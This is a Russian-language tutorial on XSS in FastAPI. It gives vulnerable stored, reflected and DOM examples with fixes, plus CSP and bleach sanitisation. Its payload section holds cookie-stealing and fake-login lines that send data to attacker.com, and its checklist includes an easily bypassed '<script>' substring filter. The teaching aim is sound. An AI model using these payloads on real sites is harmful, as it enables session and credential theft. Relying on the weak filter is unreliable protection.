Cross-Site Scripting (XSS) — уязвимость веб-приложений
Cross-Site Scripting (XSS) — это уязвимость, при которой злоумышленник может внедрить вредоносный JavaScript код в веб-приложение. Код выполняется в браузере жертвы и может красть данные, сессии, куки и модифицировать содержимое страницы.
Как работает XSS атака?
1. Злоумышленник создаёт вредоносную ссылку или форму
2. Жертва переходит по ссылке
3. Приложение не валидирует ввод
4. JavaScript код выполняется в браузере жертвы
5. Код может:
- Красть куки с сессией
- Отправлять данные на сервер злоумышленника
- Модифицировать страницу
- Перенаправить на фишинговый сайт
Три типа XSS
1. Stored XSS (Сохранённая)
Вредоносный код сохраняется на сервере:
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse
app = FastAPI()
db = {}
@app.post("/comments")
async def add_comment(comment: str):
db["comments"] = comment
return {"status": "saved"}
@app.get("/comments", response_class=HTMLResponse)
async def get_comments():
return f"<h1>Comments</h1><p>{db.get('comments', '')}</p>"
Решение: санитизация и экранирование
from markupsafe import escape
from html import escape as html_escape
@app.post("/comments")
async def add_comment(comment: str):
clean_comment = escape(comment)
db["comments"] = clean_comment
return {"status": "saved"}
@app.get("/comments", response_class=HTMLResponse)
async def get_comments():
return f"<h1>Comments</h1><p>{db.get('comments', '')}</p>"
2. Reflected XSS (Отражённая)
Вредоносный код в параметрах URL:
@app.get("/search", response_class=HTMLResponse)
async def search(query: str):
return f"<h1>Results for {query}</h1>"
Решение: экранирование вывода
from markupsafe import escape
@app.get("/search", response_class=HTMLResponse)
async def search(query: str):
safe_query = escape(query)
return f"<h1>Results for {safe_query}</h1>"
3. DOM-based XSS (На основе DOM)
Код на клиенте обработал пользовательский ввод:
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `<p>${searchQuery}</p>`;
Решение: использовать textContent вместо innerHTML
const searchQuery = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').textContent = searchQuery;
XSS полезные нагрузки (примеры)
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<input onfocus="fetch('https://attacker.com/steal?data=' + this.value)">
<script>
document.body.innerHTML = `
<form action="https://attacker.com/phishing">
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
<button>Login</button>
</form>
`;
</script>
Защита в Python (FastAPI + Jinja2)
from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from fastapi.templating import Jinja2Templates
from fastapi.requests import Request
from markupsafe import escape, Markup
app = FastAPI()
templates = Jinja2Templates(directory="templates")
@app.get("/comment/{comment_id}", response_class=HTMLResponse)
async def get_comment(request: Request, comment_id: int):
comment = "<script>alert('XSS')</script>"
return templates.TemplateResponse("comment.html", {
"request": request,
"comment": comment
})
@app.get("/trusted-html", response_class=HTMLResponse)
async def trusted_html(request: Request):
safe_html = "<strong>Trusted content</strong>"
return templates.TemplateResponse("page.html", {
"request": request,
"content": Markup(safe_html)
})
Защита Content Security Policy (CSP)
from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from starlette.middleware.base import BaseHTTPMiddleware
app = FastAPI()
class CSPMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
response = await call_next(request)
response.headers["Content-Security-Policy"] = \
"script-src 'self'; style-src 'self' 'unsafe-inline'"
return response
app.add_middleware(CSPMiddleware)
@app.get("/", response_class=HTMLResponse)
async def index():
return """
<html>
<script>alert('This will NOT execute')</script>
<p>CSP защита активна</p>
</html>
"""
Санитизация пользовательского ввода
from bleach import clean, ALLOWED_TAGS
user_html = "<p>Safe</p><script>alert('XSS')</script>"
allowed_tags = ['p', 'br', 'strong', 'em', 'a']
allowed_attrs = {'a': ['href', 'title']}
clean_html = clean(
user_html,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True
)
print(clean_html)
text_only = clean(user_html, tags=[], strip=True)
print(text_only)
Чеклист безопасности
from pydantic import BaseModel, validator
class Comment(BaseModel):
text: str
@validator('text')
def text_not_html(cls, v):
if '<script>' in v.lower():
raise ValueError('Scripts not allowed')
return v
from markupsafe import escape
clean_text = escape(user_input)
response.headers["Content-Security-Policy"] = "script-src 'self'"
Практический пример: безопасный форум
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from markupsafe import escape
from bleach import clean
app = FastAPI()
posts = []
@app.post("/posts")
async def create_post(title: str = Form(...), content: str = Form(...)):
if not title or not content:
return {"error": "Empty fields"}
clean_title = escape(title)[:200]
clean_content = clean(content, tags=['p', 'br'], strip=True)
posts.append({
"title": clean_title,
"content": clean_content
})
return {"status": "posted"}
@app.get("/posts", response_class=HTMLResponse)
async def list_posts():
html = "<h1>Posts</h1>"
for post in posts:
html += f"<h2>{post['title']}</h2><p>{post['content']}</p>"
return html
Ключевые моменты
- XSS — внедрение JavaScript кода в приложение
- Три типа: Stored (сохранённая), Reflected (отражённая), DOM-based
- Защита: валидация, санитизация, экранирование, CSP
- Во фронте: используй textContent вместо innerHTML
- На бэке: экранируй в шаблонах, используй escape()
- CSP — дополнительный слой защиты через заголовки